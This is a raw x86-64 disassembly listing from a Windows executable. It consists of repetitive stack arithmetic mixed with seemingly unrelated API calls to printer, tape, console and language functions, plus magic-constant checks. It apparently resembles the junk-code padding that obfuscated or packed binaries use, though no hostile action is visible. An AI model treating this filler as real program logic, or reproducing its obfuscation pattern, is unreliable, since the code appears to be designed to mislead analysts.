mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7c4], ax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3780]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3818]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
movzx r9d, byte [rsp + 0xe3]
mov rax, qword [rsp + 0x3818]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x1cdc]
mov rax, qword [rsp + 0x3790]
movzx ecx, word [rax]
call fcn.1401308e0
nop
mov rax, qword [rsp + 0x37a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c0]
shl eax, cl
mov word [rsp + 0x7b4], ax
lea rax, [rsp + 0x3680]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x1d20]
mov r8d, dword [rsp + 0x1dc0]
lea rdx, [rsp + 0x3528]
mov rcx, qword [rsp + 0x3738]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
mov dword [rsp + 0x1d58], eax
movzx ecx, word [rsp + 0x7c4]
call fcn.1401302a0
nop
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [0x14017cee0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe5]
shl eax, cl
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0xe6]
mov byte [rsp + 0x30ec], al
cmp byte [rsp + 0x30ec], 0x7c
je 0x14012e505
jmp 0x14012e524
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
add eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
and eax, ecx
mov byte [0x14017c010], al
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rax]
call fcn.14012efc0
nop
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x7b4]
or ecx, edx
cmp eax, ecx
je 0x14012e93b
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov byte [rsp + 0x30f8], al
cmp byte [rsp + 0x30f8], 0x88
je 0x14012e91c
cmp byte [rsp + 0x30f8], 0xc4
je 0x14012e884
jmp 0x14012e93b
mov dword [rsp + 0x20], 0xd8
lea r9, [rsp + 0x3630]
mov r8d, 0x27
mov edx, 0xe6
mov rcx, qword [rsp + 0x3580]
call sub.WINSPOOL.DRV_SetJobA
mov dword [rsp + 0x1c68], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
add eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x1bf8], eax
mov rax, qword [rsp + 0x3560]
movzx edx, word [rax]
mov rax, qword [rsp + 0x3560]
movzx ecx, word [rax]
call fcn.14012fec0
nop
jmp 0x14012e93b
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
lea rax, [rsp + 0x36a8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xdd
lea rax, [rsp + 0x1b98]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3648]
mov r8, qword [rsp + 0x35e0]
mov rdx, qword [rsp + 0x35f0]
mov rcx, qword [rsp + 0x35d8]
call sub.WINSPOOL.DRV_GetPrinterDataExA
mov dword [rsp + 0x1bc4], eax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
add eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bc4], eax
mov edx, dword [rsp + 0x1bb8]
mov rcx, qword [rsp + 0x3280]
call fcn.140130970
nop
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe4], al
mov rcx, qword [rsp + 0x35f8]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x1c6c], eax
mov rax, qword [rsp + 0x3690]
mov ecx, dword [rax]
call fcn.14012efc0
nop
call fcn.14012f7e0
nop
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
mov dword [rsp + 0x1be4], eax
movzx eax, byte [rsp + 0xe0]
sub eax, 0xe2
mov byte [rsp + 0xe0], al
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [0x14017c008]
mov qword [rsp + 0x14618], rax
movabs rax, 0xc0d0090fd1b710bd
cmp qword [rsp + 0x14618], rax
je 0x14012ee56
jmp 0x14012ee76
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
lea r9, [rsp + 0x34d0]
lea r8, [rsp + 0x34d0]
mov edx, 0x41
mov rcx, qword [rsp + 0x3520]
call qword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov dword [rsp + 0x1bc4], eax
movabs rax, 0x373807ab76bbad2f
mov rcx, qword [rsp + 0x3178]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe0]
sub eax, 0xe9
mov byte [rsp + 0xe0], al
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [rsp + 0x1bc4], eax